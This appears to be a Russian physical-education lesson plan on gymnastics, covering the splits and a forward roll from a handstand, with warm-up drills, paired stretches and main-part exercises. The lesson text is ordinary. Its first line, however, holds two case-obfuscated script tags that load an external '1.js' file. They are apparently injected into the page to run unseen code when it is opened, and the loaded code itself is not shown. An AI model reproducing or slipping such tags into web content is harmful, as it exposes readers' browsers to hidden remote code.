<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Тема: «Гимнастика»
Цель: Приобщить
учащихся к регулярным занятиям физическими упражнениями в целях здорового
образа жизни
Задача
урока:
1) разучивание упражнение для ног «шпагат»
2)
из стойки на руках кувырок вперед.
Метод
организации
: индивидуальный, поточный
Место
проведения : спортивный зал
Инвентарь и
оборудование
: стенка, гимнастические маты.
Подготовительная часть:
1.Построение ,рапорт, приветствие,сообщение задачи
урока
2.Строевые упражнения.
-переход с шага на месте на ходьбу в колоне и шеренге
3. Разновидности ходьбы, бег.
-обычный бег
-приставными
шагами влево, вправо .
- с изменением направления.
4. Ходьба с восстановлением дыхания.
5.Комплекс
упражнения в паре
I.
Стоя лицом друг к другу отвести одну ногу назад одновременно поднимая руки
вверх 6-8 раз
-поднять руки вверх, производя на каждый счет наклон
туловища в стороны.5-6 раз в каждую сторону :
-сидя в полном присяди ,держать руки
перед собой вытянуть одну ногу в сторону и медленно разгибая согнутую ногу, перенести вес тела на
прямую ногу .5-6 раз с отдыхом.
-сидя ноги врозь, упираясь ногами друг к другу, наклонить туловище вперед , стараясь
коснуться грудью пола,
а головой колен .6-8раз на каждую ногу.
Основная часть 20-25мин
1.ученики произвольно располагаются по спортзалу и
выполняют самостоятельно:
-стоя на
коленях вытянуть одну ногу назад руки развести в стороны стараясь сохранить равновесие
- сидя
одна нога согнута в колене другая вытянута в сторону производить
наклоны туловища к прямой ноге. Поменять
положение ног -сидя
ноги врозь взяться руками за одну ногу и стараться лечь туловищем на эту ногу
II. Из стойки на руках кувырок
вперед.
1.Из упора присев кувырок вперед в упор присев.
2. Из упора присев кувырок назад в упор стоя на
коленях.
3.Махом одной и толчком другой стойка на руках
4.Выполнение упражнения в целом
III.
Заключительная часть.-5 мин
Построение, подведение итогов урока
2.Домашнее
задания.
Подготовится к
тесту